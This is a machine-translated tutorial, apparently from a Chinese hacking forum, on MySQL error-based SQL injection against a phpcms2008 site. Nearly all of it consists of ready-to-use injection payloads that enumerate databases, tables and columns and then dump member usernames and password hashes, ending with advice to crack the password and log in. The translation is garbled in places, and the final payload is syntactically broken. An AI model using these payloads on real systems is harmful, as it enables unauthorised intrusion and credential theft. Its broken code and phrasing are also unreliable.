MySQL error Injection

MySQL error Injection

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If it is not saved, it is like this. If it is not disordered, and 1 = 1 1 = 2, the normal page is returned.

Blind pig is also the no-play field 19

This injection code seems to be introduced on the Internet.

However, many tests fail.

Baidu has few.

Next I will demonstrate how to perform error injection.

Blow all databases
And (select 1 from (select count (*), Concat (select distinct Concat (0x7e, 0x27, Schema_name, 0x27, 0x7e) from information_schema.schemata limit 0, 1) from information_schema.tables limit 0, 1), floor (RAND (0) * 2) X from information_schema.tables Group
By X) A) and 1 = 1

Next we can find all the databases.

Blow up current database
And (select 1 from (select count (*), Concat (select Concat (0x7e, 0x27, Hex (cast (Database () as char )), 0x27, 0x7e) from
Information_schema.tables limit 0, 1), floor (RAND (0) * 2) X from information_schema.tables group by X) A) and 1 = 1

415256303332 this is the hex current database conversion. Let's see if arv032 is
Next
Violence table
And (select 1 from (select count (*), Concat (select distinct Concat (0x7e, 0x27, Hex (cast (table_name as char )), 0x27, 0x7e) from information_schema.tables where table_schema = 0x415256303332 limit 1, 1) from information_schema.tables limit 0, 1), floor (RAND (0) * 2) x
From information_schema.tables group by X) A) and 1 = 1

70687062625f61636c5f67726f757073 need to be converted
Phpbb_acl_groups: No one playing phpcms2008 knows it's phpcms_member. You can query it yourself. Just change the number.

Field explosion
And (select 1 from (select count (*), Concat (select distinct Concat (0x7e, 0x27, column_name, 0x27, 0x7e) from information_schema.columns where table_schema = 0x415256303332 and table_name = 0x706870636d735f6d656d626572 limit 0, 1) from
Information_schema.tables limit 0, 1), floor (RAND (0) * 2) X from information_schema.tables group by X) A) and 1 = 1

Username Password
Explosive content
And (select 1 from (select count (*), Concat (select Concat (0x7e, 0x27, phpcms_member.username, 0x27, 0x7e) from phpcms_member limit) from information_schema.tables limit), floor (RAND (0) * 2) X from information_schema.tables group by X) and
1 = 1

The password cannot be cracked. You just need to break the password and you will be able to log on to it. So, let's get the teaching material from here.